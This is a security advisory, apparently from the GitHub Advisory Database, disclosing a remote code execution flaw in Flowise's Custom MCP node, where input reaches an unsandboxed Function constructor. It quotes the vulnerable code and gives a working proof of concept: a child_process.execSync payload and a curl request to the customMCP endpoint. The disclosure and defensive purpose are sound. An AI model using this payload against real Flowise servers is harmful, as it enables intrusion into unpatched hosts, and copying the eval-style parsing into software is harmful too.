Flowise vulnerable to RCE via Dynamic function constructor injection
Summary
User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.
Details
When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:
{
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}
Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):
{
...SNIP...
"inputs":{
"mcpServerConfig":{
"command":"npx",
"args":[
"-y",
"@modelcontextprotocol/server-filesystem",
"/path/to/allowed/files"
]
}
},
"loadMethod":"listActions"
...SNIP...
}
Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:
{
"inputs":{
"mcpServerConfig":"test"
},
"loadMethod":"listActions"
}
We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103):
https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103
async getTools(nodeData: INodeData): Promise<Tool[]> {
const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string
if (!mcpServerConfig) {
throw new Error('MCP Server Config is required')
}
try {
let serverParams
if (typeof mcpServerConfig === 'object') {
serverParams = mcpServerConfig
} else if (typeof mcpServerConfig === 'string') {
const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
serverParams = JSON.parse(serverParamsString)
}
const toolkit = new MCPToolkit(serverParams, 'stdio')
await toolkit.initialize()
const tools = toolkit.tools ?? []
return tools as Tool[]
} catch (error) {
throw new Error(`Invalid MCP Server Config: ${error}`)
}
}
}
Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:
function convertToValidJSONString(inputString: string) {
try {
const jsObject = Function('return ' + inputString)()
return JSON.stringify(jsObject, null, 2)
} catch (error) {
console.error('Error converting to JSON:', error)
return ''
}
}
This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.
This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.
{
"inputs":{
"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
},
"loadMethod":"listActions"
}
PoC
-
Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as
npx,pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker -
Create a new file named
payload.jsonsomewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}
- Send the following
curlrequest using thepayload.jsonfile created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
- Observe that a new file named
yofitofiis created under/tmpfolder.
Impact
Remote code execution
Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | flowise | <= 2.2.7-patch.1 | no fix |
References
- CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-627, CWE-95- Platform
- npm
- Package
flowise- Disclosed
- 06.10.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-hmgh-466j-fx4c - CC BY 4.0
Vulnerability history: flowise
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 114
- First → latest
- 04.2024 10.2026
- Without a fix
- 16
- Exploited in attacks
- 0
Severity breakdown
- Critical 28
- High 62
- Medium 24
Disclosures per year
- 2024: 11
- 2025: 22
- 2026: 81
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